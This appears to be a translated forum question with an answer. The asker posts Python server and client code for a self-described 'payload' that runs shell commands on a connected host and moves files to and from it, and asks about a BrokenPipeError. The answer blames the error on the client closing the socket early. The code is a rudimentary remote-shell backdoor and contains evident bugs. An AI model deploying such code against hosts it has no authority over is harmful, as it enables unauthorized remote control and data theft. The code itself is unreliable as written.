我需要制作一个小的有效负载和服务器来下载/上传或执行主机上的命令。
错误:
Traceback (most recent call last):
File "ServerCompletPAY.py", line 43, in <module>
a.send(command)
BrokenPipeError: [Errno 32] Broken pipe
当我第一次执行文件时它正常工作,但是当我输入另一个命令时,则会生成错误。
服务器代码:
import os
import socket
global opening_file
global name_file
global a
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",1111))
s.listen(5)
a,c = s.accept()
print ("[*] We Are Connected ")
def shell() :
verbose = a.recv(102400)
print (verbose.decode(),"\n","\n")
def download_from_client ():
opening_file = open(name_file,"wb")
opening_file.write(a.recv(102400))
x.close()
opening_file.close()
def download_to_client ():
opening_file = open(name_file,"rb")
file_needed = opening_file.read()
a.send(file_needed)
a.close()
opening_file.close()
def main():
if first_word == "download":
download_to_client ()
elif first_word == "upload" :
download_from_client()
else :
shell()
while True :
command = input("<Shell >")
name_file = command.split("/")[-1]
first_word = command.split(" ")[0]
command = command.encode()
a.send(command)
main()
客户代码:
from subprocess import *
import os
import socket
def shell() :
commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
comment = commandexe.communicate()[0]
s.send(comment)
def download() :
file_name = commentrecv.split("/")[-1]
opening_file = open(file_name,"rb")
s.send(opening_file.read())
opening_file.close()
def upload():
file_name = commentrecv.split("/")[-1]
opening_file = open(file_name,"wb")
file_name.write(s.recv(102400).decode())
file_name.close()
while True :
global s
global commandrecv
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1111))
commandrecv_encoded = s.recv(1024)
commandrecv = commandrecv_encoded.decode()
first_word = commandrecv.split(" ")[0] #to know if i need to upload or download
if not commandrecv :
break;
else:
if first_word == "download":
download ()
elif first_word == "upload" :
upload()
else :
shell()
提前谢谢你。

我正在引用此Answer,因为它看起来与您的问题相似,请尝试以下方法:
您的服务器进程已收到写入套接字的SIGPIPE。当您在另一个(客户端)端写入完全关闭的套接字时,通常会发生这种情况。当客户端程序没有等到收到服务器的所有数据并且只是关闭套接字(使用close函数)时,可能会发生这种情况。
在C程序中,您通常会尝试设置忽略SIGPIPE信号或为其设置虚拟信号处理程序。在这种情况下,写入已关闭的套接字时将返回一个简单的错误。在你的情况下,python似乎抛出一个异常,可以作为客户端的过早断开来处理。
